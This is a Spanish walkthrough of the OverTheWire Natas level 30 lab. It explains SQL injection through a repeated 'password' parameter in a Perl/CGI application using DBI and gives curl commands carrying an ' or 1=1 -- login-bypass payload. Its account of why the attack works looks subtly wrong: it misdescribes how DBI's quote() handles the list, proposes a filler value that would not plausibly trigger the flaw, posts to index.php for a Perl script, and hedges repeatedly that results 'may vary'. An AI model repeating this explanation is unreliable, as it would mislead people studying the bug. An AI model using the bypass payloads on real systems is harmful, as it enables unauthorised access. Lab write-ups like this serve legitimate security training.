Natas Nivel 30 a 31
Nivel oficial: http://natas30.natas.labs.overthewire.org
Este nivel explota una peculiaridad del ecosistema Perl/CGI: cuando un parametro de formulario se repite en la peticion HTTP, Perl lo recibe como una lista (array) en lugar de una cadena escalar. El modulo DBI de Perl no aplica el quoting esperado cuando el valor es una referencia a array, lo que abre una ventana de inyeccion SQL aunque el codigo parezca usar una API segura.
Este wargame es un laboratorio legal y autorizado por OverTheWire. Toda practica aqui descrita es etica y legal dentro de ese entorno.
Objetivo
Obtener la contrasena de natas31 explotando la inyeccion SQL que surge al pasar un parametro del formulario de login como array (valor duplicado) en una aplicacion Perl que usa DBI.
Credenciales de entrada: usuario natas30, contrasena <pass_natas30> (obtenida del nivel anterior).
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
CGI.pm param duplicado | Pasar el mismo parametro dos veces hace que param('x') devuelva una lista en lugar de un escalar |
DBI y quoting de arrays | DBI->quote() aplicado a una referencia de array en Perl genera SQL sin escapar correctamente |
| SQLi en contexto Perl/DBI | Inyectar logica SQL cuando el backend es Perl aunque use placeholders parciales |
curl --data con parametro repetido | Reproducir la peticion maliciosa desde la linea de comandos |
OR 1=1 con comentario -- | Payload clasico de bypass de autenticacion adaptado a este contexto |
Concepto clave
Categoria de vulnerabilidad: Inyeccion SQL (OWASP A03:2021 — Injection), variante por manejo incorrecto de tipos en Perl/CGI.
Patron en tres capas:
-
Capa CGI:
CGI.pmexpone$cgi->param('password'). Si la peticion HTTP contienepassword=foo&password=bar,param('password')devuelve la lista('foo', 'bar')en contexto de lista Perl, que en contexto escalar se convierte en2(numero de elementos). Sin embargo, si el codigo pasa esa lista directamente aDBI->quote()o la interpola en la consulta, el modulo no sabe que debe tratar cada elemento como una cadena independiente. -
Capa DBI:
$dbh->quote($value)espera un escalar. Si recibe una referencia a array (o la lista se flattea de forma inesperada), puede producir una cadena sin escapar o con delimitadores mal colocados. El resultado es que parte del contenido del array llega al SQL sin quoting, permitiendo inyeccion. -
Capa SQL: la consulta resultante en el servidor tiene la forma:
SELECT * FROM users WHERE username='natas30' AND password='<fragmento_controlado_por_atacante>'Si el atacante controla <fragmento_controlado_por_atacante>, puede cerrar la cadena e insertar condiciones arbitrarias.
Por que es sutil: el codigo Perl puede parecer seguro a primera vista porque usa DBI (la API estandar de bases de datos en Perl) e incluso llama a quote(). El fallo no esta en la API sino en que el programador no valido que el valor recibido fuera un escalar antes de pasarlo.
Paso a paso
- Accede al nivel con las credenciales de natas30:
curl -u natas30:<pass_natas30> http://natas30.natas.labs.overthewire.org/Veras un formulario de login con campos username y password.
- Examina el codigo fuente (enlace “View sourcecode”). El fragmento critico es aproximadamente:
my $dbh = DBI->connect(...);
my $username = $cgi->param('username');
my $password = $cgi->param('password');
my $query = "SELECT * FROM users WHERE username=" . $dbh->quote($username)
. " AND password=" . $dbh->quote($password);
my $sth = $dbh->prepare($query);
$sth->execute();El problema: $cgi->param('password') devuelve una lista si el parametro aparece varias veces; $dbh->quote() recibe esa lista en contexto de lista y, dependiendo de la version de DBI/CGI, genera un string sin los delimitadores de cadena esperados, que se interpola directamente en el SQL.
Nota: el comportamiento exacto varia segun version de
CGI.pmyDBI. El efecto neto es que se rompe el quoting y parte del valor llega sin escapar al SQL. Si el nivel en produccion muestra un comportamiento diferente, inspecciona la consulta generada via mensajes de error o prueba variaciones del payload.
- Construye el payload. La tecnica es duplicar el parametro
passworden la peticion:
- Primera ocurrencia:
' or 1=1 --(la inyeccion SQL real) - Segunda ocurrencia: cualquier valor (p. ej.
x) para que Perl reciba una lista
Cuando DBI->quote() procesa la lista, el resultado en algunas configuraciones es que el primer elemento se interpola sin quoting completo, produciendo:
SELECT * FROM users WHERE username='natas30' AND password='' or 1=1 --'1=1 es siempre verdadero y -- comenta el resto; la consulta devuelve filas y el login es exitoso.
- Envia el payload duplicando el parametro
password:
curl -u natas30:<pass_natas30> \
--data "username=natas30&password=' or 1=1 --&password=x" \
http://natas30.natas.labs.overthewire.org/index.phpEl orden importa: pon el payload de inyeccion en la primera aparicion de password y el valor de relleno en la segunda.
- Lee la respuesta: la pagina mostrara la contrasena de natas31.
You are logged in. The password for natas31 is <pass_natas31>
Guarda <pass_natas31> para el siguiente nivel.
Aviso: el payload anterior es la tecnica documentada para este nivel, pero el comportamiento exacto de
DBI->quote()con arrays puede variar. Si no funciona a la primera, prueba invertir el orden de los dos valores depassword, o usa' or '1'='1como alternativa al1=1. Inspecciona la respuesta del servidor: si hay un error SQL visible, ajusta el payload en funcion del fragmento que se este interpolando mal.
Por que funciona
La raiz del fallo es un error de impedancia de tipos: CGI.pm modela los parametros HTTP como listas (porque HTTP permite valores repetidos), pero el codigo Perl los trata implicitamente como escalares. En Perl, una lista en contexto escalar devuelve el ultimo elemento o el numero de elementos segun el contexto, y DBI->quote() no fue disenado para recibir referencias a arrays como valores a escapar.
El resultado es que el mecanismo de quoting que debia impedir la inyeccion falla exactamente porque el tipo de dato no era el esperado. La leccion estructural: validar el tipo y la cardinalidad de cada parametro de entrada antes de pasarlo a cualquier API de base de datos, independientemente de si esa API promete escaping automatico.
Con sentencias preparadas reales ($sth = $dbh->prepare("... WHERE password=?"); $sth->execute($password)), el valor se enlaza como dato y nunca se interpola en el SQL, eliminando el vector completamente.
Errores comunes
| Error | Causa probable | Solucion |
|---|---|---|
| La pagina devuelve “Login failed” sin error SQL | El payload no rompio el quoting; DBI proceso el array de forma segura en esta version | Prueba ' or '1'='1 o 1=1 # como alternativa; inspecciona si hay mas de una forma de pasar la lista |
| Error 400 / peticion malformada | El caracter ' o -- se URL-encodo mal por el shell | Pon el valor entre comillas simples en la shell o usa --data-urlencode "password=' or 1=1 --" |
| curl devuelve 401 | Las credenciales HTTP Basic de natas30 son incorrectas | Verifica la contrasena del nivel 29 |
| El servidor muestra error de sintaxis SQL | El fragmento interpolado es diferente al esperado | Lee el mensaje de error: te dira exactamente que parte del SQL llego mal formada; ajusta el payload para cerrar correctamente las cadenas abiertas |
Pasar al siguiente nivel
Accede a natas31 con:
- URL:
http://natas31.natas.labs.overthewire.org - Usuario:
natas31 - Contrasena:
<pass_natas31>
El nivel 31 introduce una vulnerabilidad diferente en el mismo entorno Perl/CGI; continua prestando atencion al manejo de parametros y al codigo fuente expuesto.